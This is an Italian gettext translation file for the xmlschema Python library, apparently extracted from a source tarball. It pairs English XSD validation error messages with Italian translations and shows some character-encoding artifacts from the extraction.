{2!r}�{0!r} non puĂ² sostituire {1!r}�derivazione {0!r} non ammessa per {1!r}�il valore della facet {0!r} è fissato a {1!r}�{0!r} non è una restrizione del tipo base {1!r}�{0!r} non è un'estensione del tipo base {1!r}�{0!r} non è un'istanza di {1!r}�{0!r} che corrisponde a {1!r} non è coerente con la dichiarazione locale {2!r}�il tipo {0!r} non è lo stesso o non è una derivazione del tipo dell'elemento di testa {1!r}�{0} ha un prefisso sconosciuto {1!r}����������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/locale/it/LC_MESSAGES/xmlschema.po����������������������������������������0000664�0000000�0000000�00000216467�15020401055�0023447�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# Italian translations for xmlschema package. # Copyright (C) 2022 , 2016, SISSA (International School for Advanced Studies). # This file is distributed under the same license as the xmlschema package. # Davide Brunato <brunato@sissa.it>, 2022. # msgid "" msgstr "" "Project-Id-Version: xmlschema\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2025-03-20 06:55+0100\n" "PO-Revision-Date: 2022-05-09 16:08+0200\n" "Last-Translator: Davide Brunato <brunato@sissa.it>\n" "Language-Team: Italian\n" "Language: it\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" #: xmlschema/documents.py:51 #, fuzzy msgid "invalid schema class {!r}" msgstr "classe schema {!r} non valida" #: xmlschema/documents.py:89 #, fuzzy msgid "cannot get a schema for XML data, provide a schema argument" msgstr "" "impossibile ottenere uno schema per i dati XML, fornire un argomento 'schema' appropriato." #: xmlschema/exports.py:148 msgid "target directory {} is not empty" msgstr "la directory target {} non è vuota" #: xmlschema/exports.py:151 msgid "target {} is not a directory" msgstr "il target {} non è una directory" #: xmlschema/exports.py:154 msgid "target parent directory {} does not exist" msgstr "la directory {} parent del target non esiste" #: xmlschema/exports.py:157 msgid "target parent {} is not a directory" msgstr "la directory {} parent del target non è una directory" #: xmlschema/exports.py:171 msgid "target directory {} violation for exported path {}, {}" msgstr "violazione della directory target {} per il path esportato {}, {}" #: xmlschema/loaders.py:117 msgid "" "if the 'namespace' attribute is not present on the import statement then the " "imported schema must have a 'targetNamespace'" msgstr "" "se l'attributo 'namespace' non è presente nell'istruzione import, lo schema " "importato deve avere un 'targetNamespace'" #: xmlschema/loaders.py:121 msgid "" "the attribute 'namespace' must be different from schema's 'targetNamespace'" msgstr "" "l'attributo 'namespace' deve essere diverso dal 'targetNamespace' dello " "schema" #: xmlschema/loaders.py:155 msgid "Include schema failed: {}" msgstr "Inclusione dello schema non riuscita: {}" #: xmlschema/loaders.py:164 msgid "Redefine schema failed: {}" msgstr "Ridefinizione dello schema non riuscita: {}" #: xmlschema/loaders.py:166 msgid "Override schema failed: {}" msgstr "Sovrascrittura dello schema non riuscita: {}" #: xmlschema/loaders.py:173 msgid "can't include schema {!r}: {}" msgstr "impossibile includere lo schema {!r}: {}" #: xmlschema/loaders.py:175 msgid "can't redefine schema {!r}: {}" msgstr "impossibile ridefinire lo schema {!r}: {}" #: xmlschema/loaders.py:177 msgid "can't override schema {!r}: {}" msgstr "impossibile sovrascrivere lo schema {!r}: {}" #: xmlschema/loaders.py:185 msgid "can't {} the same schema {!r}" msgstr "non è possibile {} lo stesso schema {!r}" #: xmlschema/loaders.py:214 msgid "import of namespace {!r} failed: {}" msgstr "importazione dello spazio dei nomi {!r} non riuscita: {}" #: xmlschema/loaders.py:216 msgid "import of chameleon schema failed: {}" msgstr "importazione dello schema camaleonte fallita: {}" #: xmlschema/loaders.py:230 msgid "Import of namespace {!r} from {!r} failed: {}." msgstr "Importazione dello spazio dei nomi {!r} da {!r} fallita: {}." #: xmlschema/loaders.py:253 msgid "imported schema {!r} has an unmatched namespace {!r}" msgstr "" "lo schema importato {!r} ha uno spazio dei nomi non corrispondente {!r}" #: xmlschema/locations.py:34 msgid "wrong type {!r} for locations argument" msgstr "l'argomento locations è di tipo errato {!r}" #: xmlschema/resources/arguments.py:46 msgid "source XML document is empty" msgstr "il document XML sorgente è vuoto" #: xmlschema/resources/arguments.py:78 msgid "invalid value {!r} for argument {!r}" msgstr "valore {!r} non valide per l'argomento {!r}" #: xmlschema/utils/descriptors.py:112 xmlschema/validators/builders.py:187 msgid "Can't set attribute {}" msgstr "Non è possibile assegnare l'attributo {}" #: xmlschema/utils/descriptors.py:116 xmlschema/validators/builders.py:190 msgid "Can't delete attribute {}" msgstr "Non è possibile cancellare l'attributo {}" #: xmlschema/utils/descriptors.py:124 msgid "invalid type {!r} for argument {!r}" msgstr "tipo {!r} non valido per l'argomento {!r}" #: xmlschema/utils/descriptors.py:138 msgid "invalid value {!r} for argument {!r}: must be one of {}" msgstr "valore non valido {!r} per l'argomento {!r}: must be one of {}" #: xmlschema/utils/descriptors.py:156 msgid "the argument {!r} must be greater or equal than {}" msgstr "il valore dell'argomento {!r} dev'essere maggiore o uguale a {}" #: xmlschema/utils/descriptors.py:159 msgid "the argument {!r} must be lesser or equal than {}" msgstr "il numero di cifre deve essere minore o uguale a {!r}" #: xmlschema/utils/logger.py:30 msgid "{!r} is not a valid loglevel" msgstr "{!r} non è un loglevel valido" #: xmlschema/validators/assertions.py:76 msgid "base_type={!r} is not a complexType definition" msgstr "base_type={!r} non è una definizione complexType" #: xmlschema/validators/attributes.py:89 msgid "unknown attribute {!r}" msgstr "attributo sconosciuto {!r}" #: xmlschema/validators/attributes.py:105 msgid "referenced attribute has a different fixed value {!r}" msgstr "l'attributo riferito ha un valore fisso diverso {!r}" #: xmlschema/validators/attributes.py:110 msgid "attribute {!r} is not allowed when attribute reference is used" msgstr "" "l'attributo {!r} non è consentito quando si utilizza un riferimento ad " "attributo" #: xmlschema/validators/attributes.py:126 msgid "an attribute name must be different from 'xmlns'" msgstr "un nome di attributo deve essere diverso da 'xmlns'" #: xmlschema/validators/attributes.py:133 #, python-format msgid "cannot add attributes in %r namespace" msgstr "impossibile aggiungere attributi nello spazio dei nomi %r" #: xmlschema/validators/attributes.py:154 msgid "ambiguous type definition for XSD attribute" msgstr "definizione di tipo ambigua per l'attributo XSD" #: xmlschema/validators/attributes.py:166 msgid "XSD attribute's type must be a simpleType" msgstr "il tipo di un attributo XSD deve essere un simpleType" #: xmlschema/validators/attributes.py:173 xmlschema/validators/elements.py:291 msgid "'default' and 'fixed' attributes are mutually exclusive" msgstr "gli attributi 'default' e 'fixed' sono mutuamente esclusivi" #: xmlschema/validators/attributes.py:177 msgid "" "the attribute 'use' must be 'optional' if the attribute 'default' is present" msgstr "" "l'attributo 'use' deve essere 'optional' se è presente l'attributo 'default'" #: xmlschema/validators/attributes.py:182 msgid "default value {!r} is not compatible with attribute's type" msgstr "il valore di default {!r} non è compatibile con il tipo dell'attributo" #: xmlschema/validators/attributes.py:185 msgid "xs:ID key attributes cannot have a default value" msgstr "gli attributi chiave xs:ID non possono avere un valore predefinito" #: xmlschema/validators/attributes.py:191 msgid "fixed value {!r} is not compatible with attribute's type" msgstr "il valore fisso {!r} non è compatibile con il tipo dell'attributo" #: xmlschema/validators/attributes.py:194 msgid "xs:ID key attributes cannot have a fixed value" msgstr "gli attributi chiave xs:ID non possono avere un valore fisso" #: xmlschema/validators/attributes.py:238 xmlschema/validators/elements.py:766 msgid "" "cannot validate against xs:NOTATION directly, only against a subtype with an " "enumeration facet" msgstr "" "non si puĂ² convalidare direttamente con xs:NOTATION, solo con un sottotipo " "con facet di enumerazione" #: xmlschema/validators/attributes.py:242 xmlschema/validators/elements.py:770 msgid "missing enumeration facet in xs:NOTATION subtype" msgstr "facet di enumerazione mancante nel sottotipo di xs:NOTATION" #: xmlschema/validators/attributes.py:251 msgid "attribute {0!r} has a fixed value {1!r}" msgstr "l'attributo {0!r} ha un valore fisso {1!r}" #: xmlschema/validators/attributes.py:305 msgid "attribute 'fixed' with use=prohibited is not allowed in XSD 1.1" msgstr "l'attributo 'fixed' con use=prohibited non è consentito in XSD 1.1" #: xmlschema/validators/attributes.py:397 msgid "more anyAttribute declarations in the same attribute group" msgstr "piĂ¹ dichiarazioni anyAttribute nello stesso gruppo di attributi" #: xmlschema/validators/attributes.py:400 msgid "another declaration after anyAttribute" msgstr "un'altra dichiarazione dopo anyAttribute" #: xmlschema/validators/attributes.py:416 msgid "multiple declaration for attribute {!r}" msgstr "dichiarazione multipla per l'attributo {!r}" #: xmlschema/validators/attributes.py:425 msgid "the attribute 'ref' is required in a local attributeGroup" msgstr "l'attributo 'ref' è richiesto in un attributeGroup locale" #: xmlschema/validators/attributes.py:435 msgid "duplicated attributeGroup {!r}" msgstr "attributeGroup {!r} duplicato" #: xmlschema/validators/attributes.py:441 msgid "in a redefinition the reference to itself must be the first" msgstr "in una ridefinizione il riferimento a se stesso deve essere il primo" #: xmlschema/validators/attributes.py:452 msgid "attributeGroup ref={!r} is not in the redefined group" msgstr "attributeGroup ref={!r} non è nel gruppo ridefinito" #: xmlschema/validators/attributes.py:456 msgid "Circular attribute groups not allowed in XSD 1.0" msgstr "Gruppi di attributi circolari non consentiti in XSD 1.0" #: xmlschema/validators/attributes.py:464 msgid "unknown attribute group {!r}" msgstr "gruppo di attributi sconosciuto {!r}" #: xmlschema/validators/attributes.py:475 msgid "multiple declaration of attribute {!r}" msgstr "dichiarazione multipla dell'attributo {!r}" #: xmlschema/validators/attributes.py:485 msgid "(attribute | attributeGroup) expected, found {!r}." msgstr "(attribute | attributeGroup) previsto, trovato {!r}." #: xmlschema/validators/attributes.py:496 msgid "Unexpected attribute {!r} in restriction" msgstr "Attributo imprevisto {!r} in restrizione" #: xmlschema/validators/attributes.py:512 msgid "Attribute wildcard is not a restriction of the base wildcard" msgstr "La wildcard attributo non è una restrizione della wildcard di base" #: xmlschema/validators/attributes.py:522 msgid "Attribute type is not a restriction of the base attribute type" msgstr "" "Il tipo dell'attributo non è una restrizione del tipo dell'attributo di base" #: xmlschema/validators/attributes.py:527 msgid "Attribute {!r}: unmatched attribute use in restriction" msgstr "Attributo {!r}: attributo 'use' non corrispondente nella restrizione" #: xmlschema/validators/attributes.py:533 msgid "Attribute {!r}: derived attribute has a different fixed value" msgstr "Attributo {!r}: l'attributo derivato ha un valore fisso diverso" #: xmlschema/validators/attributes.py:537 msgid "Attribute {!r}: 'inheritable' property change in restriction" msgstr "" "Attributo {!r}: modifica della proprietĂ  'inheritable' nella restrizione" #: xmlschema/validators/attributes.py:551 msgid "Missing required attribute {!r} in redefinition restriction" msgstr "" "Attributo obbligatorio {!r} mancante nella restrizione di ridefinizione" #: xmlschema/validators/attributes.py:556 msgid "Attribute {!r}: unmatched attribute use in redefinition" msgstr "" "Attributo {!r}: utilizzo di attributi non corrispondenti nella ridefinizione" #: xmlschema/validators/attributes.py:559 msgid "Attribute {!r}: redefinition remove fixed constraint" msgstr "Attributo {!r}: la ridefinizione rimuove il vincolo fixed" #: xmlschema/validators/attributes.py:568 msgid "Redefinition restriction contains additional attribute {!r}" msgstr "La restrizione di ridefinizione contiene un attributo aggiuntivo {!r}" #: xmlschema/validators/attributes.py:572 msgid "Wrong attribute order in redefinition restriction" msgstr "Ordine degli attributi errato nella restrizione di ridefinizione" #: xmlschema/validators/attributes.py:591 msgid "multiple ID attributes not allowed for XSD 1.0" msgstr "attributi ID multipli non consentiti per XSD 1.0" #: xmlschema/validators/attributes.py:646 #: xmlschema/validators/attributes.py:722 msgid "missing required attribute {!r}" msgstr "attributo richiesto {!r} mancante" #: xmlschema/validators/attributes.py:677 #: xmlschema/validators/attributes.py:740 #, python-format msgid "%r is not an attribute of the XSI namespace" msgstr "%r non è un attributo dello spazio dei nomi XSI" #: xmlschema/validators/attributes.py:685 #: xmlschema/validators/attributes.py:748 #, python-format msgid "%r attribute not allowed for element" msgstr "l'attributo %r non è consentito per l'elemento" #: xmlschema/validators/attributes.py:691 #, python-format msgid "use of attribute %r is prohibited" msgstr "l'uso dell'attributo %r è vietato" #: xmlschema/validators/builders.py:232 msgid "'model' argument must be (sequence | choice | all)" msgstr "l'argomento 'model' deve essere (sequence | choice | all)" #: xmlschema/validators/builders.py:317 xmlschema/validators/builders.py:325 msgid "(restriction | list | union) expected" msgstr "previsto (restriction | list | union)" #: xmlschema/validators/builders.py:336 msgid "missing attribute 'name' in a global simpleType" msgstr "attributo 'name' mancante in un simpleType globale" #: xmlschema/validators/builders.py:341 msgid "attribute 'name' not allowed for a local simpleType" msgstr "l'attributo 'name' non è consentito per un simpleType locale" #: xmlschema/validators/builders.py:463 msgid "global {} {!r} not found" msgstr "{} globale {!r} non trovato" #: xmlschema/validators/builders.py:517 msgid "global xs:{} with name={!r} is already built" msgstr "xs:{} globale con nome={!r} è giĂ  costruito" #: xmlschema/validators/builders.py:519 msgid "global xs:{} with name={!r} is already defined" msgstr "xs:{} globale con nome={!r} è giĂ  definito" #: xmlschema/validators/builders.py:546 msgid "global xs:{} with name={!r} is already loaded" msgstr "xs:{} globale con nome={!r} è giĂ  caricato" #: xmlschema/validators/builders.py:560 msgid "not a redefinition!" msgstr "non è una ridefinizione!" #: xmlschema/validators/builders.py:618 msgid "redefined schema {!r} has a different targetNamespace" msgstr "lo schema ridefinito {!r} ha un targetNamespace diverso" #: xmlschema/validators/builders.py:629 msgid "unexpected instance {!r} in XSD {} global map" msgstr "istanza imprevista {!r} nella mappa XSD {} globale" #: xmlschema/validators/complex_types.py:137 msgid "missing attribute 'name' in a global complexType" msgstr "attributo 'name' mancante in tipo complesso globale" #: xmlschema/validators/complex_types.py:142 msgid "attribute 'name' not allowed in a local complexType" msgstr "attributo 'name' non ammesso in tipo complesso locale" #: xmlschema/validators/complex_types.py:165 msgid "'mixed' attribute not allowed with simpleContent" msgstr "l'attributo 'mixed' non è ammesso se il contenuto è simpleContent" #: xmlschema/validators/complex_types.py:180 #, python-format msgid "unexpected tag %r after simpleContent declaration:" msgstr "tag %r non previsto dopo dichiarazione simpleContent" #: xmlschema/validators/complex_types.py:191 msgid "" "value of 'mixed' attribute in complexType and complexContent must be the same" msgstr "" "il valore dell'attributo 'mixed' di un complexType e del suo complexContent " "dev'essere uguale" #: xmlschema/validators/complex_types.py:211 #, python-format msgid "unexpected tag %r after complexContent declaration" msgstr "tag %r non previsto dopo dichiarazione complexContent" #: xmlschema/validators/complex_types.py:236 #, python-format msgid "unexpected tag %r for complexType content" msgstr "tag %r non previsto per un contenuto di complexType" #: xmlschema/validators/complex_types.py:244 #: xmlschema/validators/simple_types.py:1266 msgid "wrong definition with self-reference" msgstr "definizione errata con autoreferenzialitĂ " #: xmlschema/validators/complex_types.py:247 #: xmlschema/validators/simple_types.py:1273 msgid "wrong redefinition without self-reference" msgstr "ridefinizione errata senza autoreferenzialitĂ " #: xmlschema/validators/complex_types.py:258 msgid "restriction or extension tag expected" msgstr "previsto tag di restrizione o estensione" #: xmlschema/validators/complex_types.py:265 msgid "{!r} is expected to have a redefined/overridden component" msgstr "è previsto che {!r} abbia almeno un componente ridefinito/sostituito" #: xmlschema/validators/complex_types.py:270 msgid "{0!r} derivation not allowed for {1!r}" msgstr "derivazione {0!r} non ammessa per {1!r}" #: xmlschema/validators/complex_types.py:280 msgid "'base' attribute required" msgstr "attributo 'base' richiesto" #: xmlschema/validators/complex_types.py:289 #, python-format msgid "missing base type %r" msgstr "tipo base %r mancante" #: xmlschema/validators/complex_types.py:300 #: xmlschema/validators/complex_types.py:314 msgid "a complexType ancestor required: {!r}" msgstr "è richiesto un antenato complexType: {!r}" #: xmlschema/validators/complex_types.py:305 #, python-format msgid "derivation by %r blocked by attribute 'final' in base type" msgstr "derivazione per %r bloccata de attributo 'final' nel tipo base" #: xmlschema/validators/complex_types.py:324 msgid "a not empty simpleContent cannot restrict an empty content type" msgstr "" "un simpleContent non vuoto non puĂ² essere restrizione di un tipo di " "contenuto vuoto" #: xmlschema/validators/complex_types.py:333 msgid "content type is not a restriction of base content" msgstr "il tipo di contenuto non è una restrizione di quello di base" #: xmlschema/validators/complex_types.py:341 msgid "with simpleContent cannot restrict an element-only content type" msgstr "" "con un simpleContent non si puĂ² restringere un tipo di contenuto element-only" #: xmlschema/validators/complex_types.py:353 xmlschema/validators/groups.py:544 #, python-format msgid "unexpected tag %r" msgstr "tag %r inatteso" #: xmlschema/validators/complex_types.py:363 #, python-format msgid "base type %r has no simple content" msgstr "il tipo base %r non ha contenuto semplice" #: xmlschema/validators/complex_types.py:371 msgid "the base type is not derivable by restriction" msgstr "il tipo base non è derivabile per restrizione" #: xmlschema/validators/complex_types.py:374 #: xmlschema/validators/complex_types.py:467 #: xmlschema/validators/complex_types.py:914 #, python-format msgid "base %r is simple or has a simple content" msgstr "la base %r è semplice o ha contenuto semplice" #: xmlschema/validators/complex_types.py:386 #, python-brace-format msgid "" "restriction of an xs:{0} with more than one particle with xs:{1} is forbidden" msgstr "" "la restrizione di un xs:{0} avente piĂ¹ di una particella con xs:{1} è " "proibita" #: xmlschema/validators/complex_types.py:398 msgid "derived a mixed content from a base type that has element-only content" msgstr "" "derivazione di contenuto misto da un tipo base con contenuto element-only" #: xmlschema/validators/complex_types.py:401 msgid "an empty content derivation from base type that has not empty content" msgstr "" "derivazione di un contenuto vuoto da un tipo base con contenuto non vuoto" #: xmlschema/validators/complex_types.py:412 msgid "{0!r} is not a restriction of the base type {1!r}" msgstr "{0!r} non è una restrizione del tipo base {1!r}" #: xmlschema/validators/complex_types.py:421 #: xmlschema/validators/complex_types.py:919 msgid "the base type is not derivable by extension" msgstr "il tipo base non è derivabile per estensione" #: xmlschema/validators/complex_types.py:454 #: xmlschema/validators/complex_types.py:964 #: xmlschema/validators/complex_types.py:1014 #, python-format msgid "" "base has a different content type (mixed=%r) and the extension group is not " "empty." msgstr "" "la base ha un diverso tipo di contenuto (mixed=%r) e il gruppo di estensione " "non è vuoto" #: xmlschema/validators/complex_types.py:474 msgid "cannot extend a complex content with xs:all" msgstr "non si puĂ² estendere un contenuto complesso con xs:all" #: xmlschema/validators/complex_types.py:477 msgid "xs:sequence cannot extend xs:all" msgstr "xs:sequence non puĂ² estendere xs:all" #: xmlschema/validators/complex_types.py:487 msgid "XSD 1.0 does not allow extension of a not empty 'all' model group" msgstr "XSD 1.0 non permette l'estensione di un gruppo modello 'all' non vuoto" #: xmlschema/validators/complex_types.py:490 #, python-format msgid "" "base has a different content type (mixed=%r) and the extension group is not " "empty" msgstr "" "la base ha un diverso tipo di contenuto (mixed=%r) e il gruppo di estensione " "non è vuoto" #: xmlschema/validators/complex_types.py:503 #: xmlschema/validators/complex_types.py:1028 msgid "extended type has a mixed content but the base is element-only" msgstr "il tipo esteso ha un contenuto misto ma la base è element-only" #: xmlschema/validators/complex_types.py:670 msgid "global type {!r} is not built" msgstr "il tipo globale {!r} non è costruito" #: xmlschema/validators/complex_types.py:745 #: xmlschema/validators/complex_types.py:771 #, python-format msgid "cannot decode %(obj)r data with %(decoder)r" msgstr "non posso decodificare i dati di %(obj)r con %(decoder)r" #: xmlschema/validators/complex_types.py:868 msgid "the simple content of {!r} is not a valid simple type in XSD 1.1" msgstr "il contenuto semplice di {!r} non è un tipo semplice valido in XSD 1.1" #: xmlschema/validators/complex_types.py:875 msgid "openContent mismatch between type and model group" msgstr "openContent non corrispondente tra il tipo e il modello di gruppo" #: xmlschema/validators/complex_types.py:887 #, python-format msgid "attribute %r must be inheritable" msgstr "l'attributo %r dev'essere ereditabile" #: xmlschema/validators/complex_types.py:903 msgid "default attribute {!r} is already declared in the complex type" msgstr "l'attributo di default {!r} è giĂ  dichiarato nel tipo complesso" #: xmlschema/validators/complex_types.py:968 msgid "cannot extend an empty mixed content with an xs:all" msgstr "non si puĂ² estendere un contenuto misto vuoto con xs:all" #: xmlschema/validators/complex_types.py:986 #, python-format msgid "xs:all cannot extend a not empty xs:%s" msgstr "xs:all non puĂ² estendere un xs:%s non vuoto" #: xmlschema/validators/complex_types.py:1001 msgid "cannot extend a not empty 'all' model group with a different model" msgstr "non si puĂ² estendere un gruppo 'all' non vuoto con un modello diverso" #: xmlschema/validators/complex_types.py:1004 msgid "when extend an xs:all group minOccurs must be the same" msgstr "" "quando si estende un gruppo xs:all il valore di minOccurs dev'essere lo " "stesso" #: xmlschema/validators/complex_types.py:1007 msgid "cannot extend an xs:all group with mixed empty content" msgstr "non si puĂ² estendere un gruppo xs:all con un contenuto misto vuoto" #: xmlschema/validators/complex_types.py:1051 msgid "{0!r} is not an extension of the base type {1!r}" msgstr "{0!r} non è un'estensione del tipo base {1!r}" #: xmlschema/validators/elements.py:178 #, python-format msgid "unknown element %r" msgstr "elemento %r sconosciuto" #: xmlschema/validators/elements.py:197 msgid "attribute {!r} is not allowed when element reference is used" msgstr "" "l'attributo {!r} non è ammesso quando si una un riferimento ad elemento" #: xmlschema/validators/elements.py:218 msgid "local scope elements cannot have abstract attribute" msgstr "gli elementi locali non possono avere l'attributo 'abstract'" #: xmlschema/validators/elements.py:245 msgid "attribute {!r} is not allowed in a global element declaration" msgstr "" "l'attributo {!r} non è ammesso in una dichiarazione di elemento globale" #: xmlschema/validators/elements.py:250 msgid "attribute {!r} not allowed in a local element declaration" msgstr "l'attributo {!r} non è ammesso in una dichiarazione di elemento locale" #: xmlschema/validators/elements.py:268 xmlschema/validators/elements.py:1529 #: xmlschema/validators/simple_types.py:908 #: xmlschema/validators/simple_types.py:1070 #: xmlschema/validators/simple_types.py:1279 msgid "unknown type {!r}" msgstr "tipo {!r} sconosciuto" #: xmlschema/validators/elements.py:273 msgid "" "the attribute 'type' and a xs:{} local declaration are mutually exclusive" msgstr "" "l'attributo 'type' e una dichiarazione xs:{} locale sono mutuamente esclusivi" #: xmlschema/validators/elements.py:295 msgid "'default' value {!r} is not compatible with element's type" msgstr "il valore di default {!r} non è compatibile con il tipo dell'elemento" #: xmlschema/validators/elements.py:299 msgid "xs:ID or a type derived from xs:ID cannot have a default value" msgstr "" "xs:ID o un tipo derivato da xs:ID non possono avere un valore di default" #: xmlschema/validators/elements.py:305 msgid "'fixed' value {!r} is not compatible with element's type" msgstr "il valore di fisso {!r} non è compatibile con il tipo dell'elemento" #: xmlschema/validators/elements.py:309 msgid "xs:ID or a type derived from xs:ID cannot have a fixed value" msgstr "xs:ID o un tipo derivato da xs:ID non possono avere un valore fisso" #: xmlschema/validators/elements.py:326 xmlschema/validators/elements.py:334 #, python-format msgid "duplicated identity constraint %r:" msgstr "vincolo di identitĂ  %r duplicato" #: xmlschema/validators/elements.py:356 #, python-format msgid "unknown substitutionGroup %r" msgstr "gruppo di sostituzione %r sconosciuto" #: xmlschema/validators/elements.py:361 #, python-format msgid "circularity found for substitutionGroup %r" msgstr "trovata circolaritĂ  per il gruppo di sostituzione %r" #: xmlschema/validators/elements.py:376 msgid "" "{0!r} type is not of the same or a derivation of the head element {1!r} type" msgstr "" "il tipo {0!r} non è lo stesso o non è una derivazione del tipo dell'elemento " "di testa {1!r}" #: xmlschema/validators/elements.py:380 #, python-format msgid "" "head element %r can't be substituted by an element that has a derivation of " "its type" msgstr "" "l'elemento di testa %r non puĂ² essere sostituito da un elemento che ha una " "derivazione del suo tipo" #: xmlschema/validators/elements.py:384 #, python-format msgid "" "head element %r can't be substituted by an element that has an extension of " "its type" msgstr "" "l'elemento di testa %r non puĂ² essere sostituito da un elemento che ha una " "estensione del suo tipo" #: xmlschema/validators/elements.py:388 #, python-format msgid "" "head element %r can't be substituted by an element that has a restriction of " "its type" msgstr "" "l'elemento di testa %r non puĂ² essere sostituito da un elemento che ha una " "restrizione del suo tipo" #: xmlschema/validators/elements.py:566 msgid "schemaLocation declaration after namespace start" msgstr "dichiarazione schemaLocation dopo l'inizio dello spazio dei nomi" #: xmlschema/validators/elements.py:599 xmlschema/validators/elements.py:935 msgid "can't use an abstract element for validating an instance" msgstr "non è possibile utilizzare un elemento astratto per la convalida" #: xmlschema/validators/elements.py:602 xmlschema/validators/elements.py:938 msgid "" "can't use an abstract XSD element for validation unless it's the head of a " "substitution group" msgstr "non è possibile utilizzare un elemento astratto per la convalida a " "meno che non sia la l'elemento di testa di un gruppo di sostituzione" #: xmlschema/validators/elements.py:610 xmlschema/validators/elements.py:951 msgid "can't use an abstract XSD element for validation" msgstr "non è possibile utilizzare un elemento astratto per la convalida" #: xmlschema/validators/elements.py:664 #, python-format msgid "usage of %r is blocked" msgstr "l'utilizzo di %r è bloccato" #: xmlschema/validators/elements.py:668 #, python-format msgid "%r is abstract" msgstr "%r è astratto" #: xmlschema/validators/elements.py:697 msgid "element is not nillable" msgstr "l'elemento non è annullabile" #: xmlschema/validators/elements.py:700 msgid "xsi:nil attribute must have a boolean value" msgstr "l'attributo xsi:nil deve avere un valore booleano" #: xmlschema/validators/elements.py:705 msgid "xsi:nil='true' but the element has a fixed value" msgstr "xsi:nil='true' ma l'elemento ha un valore fisso" #: xmlschema/validators/elements.py:708 msgid "xsi:nil='true' but the element is not empty" msgstr "xsi:nil='true' ma l'elemento non è vuoto" #: xmlschema/validators/elements.py:714 msgid "character data is not allowed because content is empty" msgstr "i caratteri non sono consentiti perchĂ© il contenuto è vuoto" #: xmlschema/validators/elements.py:733 xmlschema/validators/elements.py:749 #, python-format msgid "must have the fixed value %r" msgstr "deve avere il valore fisso %r" #: xmlschema/validators/elements.py:738 msgid "a simple content element can't have child elements" msgstr "un elemento con contenuto semplice non puĂ² avere elementi figlio" #: xmlschema/validators/elements.py:1284 msgid "test attribute missing in non-final alternative" msgstr "attributo test mancante in alternativa non finale" #: xmlschema/validators/elements.py:1396 msgid "Maybe a not equivalent type table between elements {0!r} and {1!r}" msgstr "" "Forse una tabella di tipo non equivalente tra gli elementi {0!r} e {1!r}" #: xmlschema/validators/elements.py:1429 #, python-brace-format msgid "adding schema at {url} change the " msgstr "" #: xmlschema/validators/elements.py:1511 xmlschema/validators/elements.py:1519 msgid "missing 'type' attribute" msgstr "attributo 'type' mancante" #: xmlschema/validators/elements.py:1523 msgid "declared type is not derived from {!r}" msgstr "il tipo dichiarato non è derivato da {!r}" #: xmlschema/validators/elements.py:1533 msgid "type {0!r} is not derived from {1!r}" msgstr "il tipo {0!r} non è derivato da {1!r}" #: xmlschema/validators/elements.py:1538 #, python-format msgid "" "the attribute 'type' and the xs:%s local declaration are mutually exclusive" msgstr "" "l'attributo 'type' e la dichiarazione locale xs:%s si escludono a vicenda" #: xmlschema/validators/exceptions.py:177 msgid "Circular definition detected for xs:{} {!r}." msgstr "Rilevata definizione circolare per xs:{} {!r}." #: xmlschema/validators/exceptions.py:439 #, python-format msgid "The content of element %r is not complete." msgstr "Il contenuto dell'elemento %r non è completo." #: xmlschema/validators/exceptions.py:443 #, python-format msgid "Unexpected child with tag %r at position %d." msgstr "Figlio imprevisto con tag %r alla posizione %d." #: xmlschema/validators/exceptions.py:459 #, python-format msgid " Tag (%s) expected." msgstr " Previsto tag (%s)." #: xmlschema/validators/exceptions.py:461 #, python-format msgid " Tag %s expected." msgstr " Previsto tag %s." #: xmlschema/validators/exceptions.py:463 #, python-format msgid " Tag %r expected." msgstr " Previsto tag %r." #: xmlschema/validators/facets.py:87 msgid "{0!r} facet value is fixed to {1!r}" msgstr "il valore della facet {0!r} è fissato a {1!r}" #: xmlschema/validators/facets.py:95 msgid "invalid type {!r} provided: {}" msgstr "tipo non valido {!r} fornito: {}" #: xmlschema/validators/facets.py:138 xmlschema/validators/facets.py:141 msgid "facet value can be only 'collapse'" msgstr "il valore della facet puĂ² essere solo 'collapse'" #: xmlschema/validators/facets.py:143 msgid "facet value can be only 'replace' or 'collapse'" msgstr "il valore della facet puĂ² essere solo 'replace' o 'collapse'" #: xmlschema/validators/facets.py:149 msgid "value contains tabs or newlines" msgstr "il valore contiene tabulazioni o nuove righe" #: xmlschema/validators/facets.py:158 msgid "value contains non collapsed white spaces" msgstr "il valore contiene spazi bianchi non compressi" #: xmlschema/validators/facets.py:184 msgid "base facet has a different length ({})" msgstr "la facet di base ha una lunghezza diversa ({})" #: xmlschema/validators/facets.py:195 msgid "length has to be {!r}" msgstr "la lunghezza deve essere {!r}" #: xmlschema/validators/facets.py:222 msgid "base facet has a greater min length ({})" msgstr "la facet di base ha una lunghezza minima maggiore ({})" #: xmlschema/validators/facets.py:233 msgid "value length cannot be lesser than {!r}" msgstr "la lunghezza del valore non puĂ² essere inferiore a {!r}" #: xmlschema/validators/facets.py:260 msgid "base type has a lesser max length ({})" msgstr "il tipo di base ha una lunghezza massima inferiore ({})" #: xmlschema/validators/facets.py:271 msgid "value length cannot be greater than {!r}" msgstr "la lunghezza del valore non puĂ² essere maggiore di {!r}" #: xmlschema/validators/facets.py:305 xmlschema/validators/facets.py:346 #: xmlschema/validators/facets.py:389 xmlschema/validators/facets.py:428 msgid "invalid restriction: {}" msgstr "restrizione non valida: {}" #: xmlschema/validators/facets.py:312 msgid "value has to be greater or equal than {!r}" msgstr "il valore deve essere maggiore o uguale a {!r}" #: xmlschema/validators/facets.py:350 msgid "invalid restriction: {} is also the maximum" msgstr "restrizione non valida: {} è anche il massimo" #: xmlschema/validators/facets.py:356 msgid "value has to be greater than {!r}" msgstr "il valore deve essere maggiore di {!r}" #: xmlschema/validators/facets.py:394 msgid "value has to be less than or equal than {!r}" msgstr "il valore deve essere minore o uguale a {!r}" #: xmlschema/validators/facets.py:432 msgid "invalid restriction: {} is also the minimum" msgstr "restrizione non valida: {} è anche il minimo" #: xmlschema/validators/facets.py:438 msgid "value has to be lesser than {!r}" msgstr "il valore deve essere inferiore a {!r}" #: xmlschema/validators/facets.py:475 xmlschema/validators/facets.py:537 msgid "invalid restriction: base value is lower ({})" msgstr "restrizione non valida: il valore di base è inferiore ({})" #: 